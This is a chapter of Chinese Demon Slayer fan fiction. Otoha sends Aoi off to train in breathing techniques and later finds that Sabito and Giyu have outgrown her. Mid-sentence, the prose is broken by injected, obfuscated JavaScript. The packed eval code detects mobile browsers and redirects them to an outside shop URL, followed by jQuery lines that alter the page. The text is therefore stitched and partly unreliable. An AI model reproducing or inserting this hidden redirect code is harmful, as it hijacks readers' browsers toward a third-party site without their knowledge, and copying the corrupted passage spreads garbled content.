音叶走进浴室，木桶里果然如义勇所说，早已注满了温热的清水。氤氲的热气自水面缓缓升腾，在室内轻轻缭绕。
她将换下的衣物叠好放在一旁，小心翼翼地踏进木桶。水温恰到好处，不烫也不凉，像是有人用心调试过无数遍。音叶靠在桶壁上，仰头望着天花板上的木纹。
热水把一整天的疲惫都洗去了，音叶闭上眼睛，任由自己往下滑了滑，让水没过锁骨，最后只露出一个头在外面。她能感觉到自己的肌肉在热水中一寸一寸地放松，那些因为任务而产生的酸痛也渐渐消散。
她现在已经是甲级队员了，距离柱越来越近，任务难度也直线上升。现在的她总算是明白了当时香奈惠的心情——明明只差一个等级，那个等级却像难以跨越的坎。
音叶把脸埋进水里，咕噜咕噜吐了几个泡泡。水面上泛起一圈圈涟漪，很快又归于平静。
等水渐渐变凉，音叶也泡得差不多了。她起身擦干，换好干净的衣物，推门而出。走廊里很安静，她放轻脚步，往自己的房间走去。
经过义勇房间的时候，她注意到里面的灯还亮着。昏黄的灯光从门缝里漏出来，在地上投下一道细细的光线。音叶没在意，径直走回自己的房间。
她关上灯，躺进被窝里准备休息。黑暗中，她能听到自己的呼吸声和窗外传来的风声，没多久，隔壁房间传来轻轻一声响，随后那道光也熄灭了，音叶的视野彻底陷入昏暗。
音叶这才反应过来——原来义勇是为了等她才没关灯的吗？
女孩自己都没有反应过来，嘴角便洇起一阵笑意。
之后的日子过得平静而规律，音叶会带着悠子执行任务，不忙的时候便去蝶屋帮忙。香奈惠升任花柱以后愈发繁忙，蝶屋的工作需要音叶和忍帮衬着。
想到忍——忍最近去哪了，自己似乎好久没见到她了，音叶喃喃自语道。
很快她就反应过来，新一届的最终选拔就要开始了。忍应该在为即将到来的选拔做最后的准备，这个要强的孩子一定也在没日没夜地训练吧。
“忍小姐很久没有来了，”神崎葵一边收拾着蝶屋的瓶瓶罐罐一边对音叶说，“香奈惠小姐回来的时候都会带着忍小姐一起练习呢。”
神崎葵，音叶更喜欢叫她小葵，已经不是躲在杂物角落里瑟瑟发抖的小女孩了。被音叶救下后，她留在蝶屋养伤，现在伤近乎痊愈，便会帮着音叶做一些力所能及的事情。
“听说今年的最终选拔会有很大的变化呢！”来换药的村田先生说道，他刚在凳子上坐下，话匣子就打开了，“主公大人今年为最终选拔增添了许多安全措施，先不说柱们会在选拔开始前进行例行检查……”
他伸出手做了个按下按钮的动作，结果扯到了伤口，疼得龇牙咧嘴。音叶皱着眉把他按回原位坐好，手上的动作却放轻了很多。
他缓了缓，继续说道：“这次参加选拔的每一个人手里都会发一个小机关。如果遇到危险，或者是想要退出，只要按下按钮就会有人接应。”
音叶的手指顿了一下，又接着给村田上药。
“这样的话，伤亡会少很多吧。”她说，声音比平时低了一些。
村田没听出来，用力点点头，没想到再一次拉扯到伤口：“没错！嘶……大家都这么说，这样一来参加选拔的人心里都有底了，也不会那么紧张了。”
音叶低头继续换药，动作敏捷麻利，很快将要换好。村田对音叶道了声谢，低头系上纽扣。
“音叶姐，”小葵的声音忽然响起，“我也可以学习呼吸法吗？”
音叶低头，小葵已经放下手中的药罐，此刻正仰头看着她。那双眼睛很亮，曾经的恐惧早已消失殆尽。
音叶将药品归回原位，俯身与她平视：“可以呀，小葵想要学习的话，我可以帮你联系培育师。”
思绪在脑海里翻涌，音叶这才想起爷爷曾经说过，他已经不打算再招徒弟了。面对小葵的想法，她一时间有些为难。
不过……爷爷这么厉害的人，年轻的时候应该也有很多厉害的培育师吧？
正当音叶犯难时，一旁收拾好东西的村田似乎听到了她的心声。
“欸？小葵想要学习呼吸法吗？”他脸上挂着温和的笑容，“要不要考虑一下我的师父？”
他指了指自己：“水之呼吸是最基础的呼吸法，很好上手，我就是练水呼的。如果你愿意的话，要不要来我师父这里？他正发愁没有学生呢。”
小葵眼前一亮，生怕村田反悔：“那就这么说好了！一言为定！”
“那就这么说定了。”村田笑起来，眼睛弯成一条缝，“回头我帮你写信。我师父那人最喜欢孩子了，写信告诉他的话，他一定很高兴的。”
……
村田的效率很快，几乎是没有到一个星期的功夫，回信便来了——他的师父非常欢迎小葵的加入，信上言辞恳切，说早已听闻小葵的事，定会倾囊相授。
信的末尾还特意加了一句：“让那孩子放心来，我这里虽然简陋，但一定把她当亲孙女看待。”
小葵攥着信纸，眼眶泛红，却倔强地没有掉泪。
“我一定要为我的家人们报仇。”她说，声音坚定。
小葵收拾好行囊，在一个阳光明媚的早晨离开。离开那天，音叶送她到门口，就连任务繁忙和准备着最终选拔的香奈惠和小忍也来了。小葵一一向她们鞠躬道别，最后转过身，用力抱了抱音叶。
“音叶姐，我会努力的。”
音叶抬手，轻轻揉了揉她的头发：“嗯，我相信你。”
小葵松开手，背起行囊，头也不回地跟着村田师父的那只鎹鸦走向那条通往远方的路。
音叶望着那个渐行渐远的背影，恍惚间想起多年前的自己。那时的她也是这样，背着行囊，离开爷爷的小屋，走向未知的山。
“她会没事的。”香奈惠轻声说。
音叶点点头，收回视线。
是啊，大家都会没事的。
日升日落、花开花谢，时光无声无息地流淌。转眼间，音叶已步入青春期。身体开始悄悄发生变化：原本合身的队服变得有些紧，镜中的脸庞褪去几分稚气，线条渐渐柔和下来。
夏日的午后，阳光透过大树洒下斑驳的光影。音叶出完任务回来，刚洗完澡，穿着轻便的浴衣，把换下来的衣物拿到院中清洗晾晒。
很难得地，锖兔和义勇也在院子里。
音叶将最后一件衣服展开，搭在晾衣竿上。她抚平褶皱，正准备转身离开时，视线不经意间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375055|200056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扫过锖兔。
咦？
她停下动作，认真地看了过去。
锖兔正站在不远处，阳光从他身后照过来，在地面投下一道长长的影子。
音叶走过去，在他身边站定，歪着头打量他。
“怎么了？”锖兔察觉她的视线，停下手中的动作。阳光在他眼中跳跃，让那双银紫色的眸子格外明亮。
音叶没有回答，而是凑近了些，在自己额头比了比，又在他肩膀比了比，然后整个人僵住了。
不……不会吧？
她猛地转身，几步走到廊下，一把将沉默的义勇拽了起来。
“你站起来。”
义勇被她拽得一个踉跄，站稳后垂眸看着她，眼神里带着一丝疑惑。他的头发被风吹得有些凌乱，几缕发丝遮住了眼睛。
音叶深吸一口气，在他面前站直，努力挺起脊背，她平视前方，却发现本该是眼睛的位置，此刻却只能看到义勇的下巴。
她又往锖兔那边挪了挪，再次站直，依旧没有变化。
那相差的距离，将近半个头。
音叶如遭雷击，愣在原地。
“不可能……”她喃喃道，转过身又跑回锖兔身边，“锖兔，你过来。”
锖兔一脸莫名地看着她，音叶再次比了比——这一次，她不得不仰起头，才能看清他的眼睛。
那相差的距离，将近半个头。
音叶如遭雷击，愣在原地。她低头看看自己，又抬头看看他们，脸上的表情千变万化。明明每天一起吃一样的饭，为什么他们像竹子一样往上蹿，她却停滞不前了……
锖兔看看她，又看看自己，终于反应过来，顿时笑出了声。
“哈哈哈哈……！”
他的笑声在院子里回荡，惊起枝头的麻雀。义勇依旧坐在廊下，默默看着这一幕，嘴角几不可察地微微上扬。
“笑什么笑！”音叶恼羞成怒，脸颊微微泛红，“我不信！我们明明吃一样的饭，睡一样的觉，每天一起训练……”
“是啊是啊，”锖兔笑着凑近，伸出手按住她的头顶，轻轻往自己身边一拉，比在身前，“来，让我看看……嗯，让我好好看看我们的小音叶到底有多高。”
音叶被迫站直，头顶堪堪够到锖兔的下巴。她能感觉到他的手掌很温暖，覆在头顶的重量很轻，却让她动弹不得。
锖兔低头看了看，又比了比，笑容愈发张扬。然后他微微俯下身，那双银紫色的眼睛与她齐平，距离近得音叶能看清自己映在他瞳孔里的影子。锖兔凑到她耳边，故意压低了声音：
“音叶小姐，希望你有朝一日……可以超过我。”
他语气一本正经，可眼神里满是掩不住的得意与调侃。
音叶勾唇一笑，胜负欲彻底被眼前的人激了上来。
她没有认输，反而更凑近了一些。两人之间的距离缩短到几乎可以感受到彼此呼吸，她仰起头，直视着锖兔那双因意外而微微睁大的银紫色眼睛，刚才那张得意洋洋的脸上浮现出一丝不自然的神色。
“喂，”她的声音轻柔，却带着不容忽视的挑衅，“那我们的丙级队员锖兔先生，什么时候可以超过我呢？”
——笑容张扬又肆意，带着少女特有的骄傲与狡黠。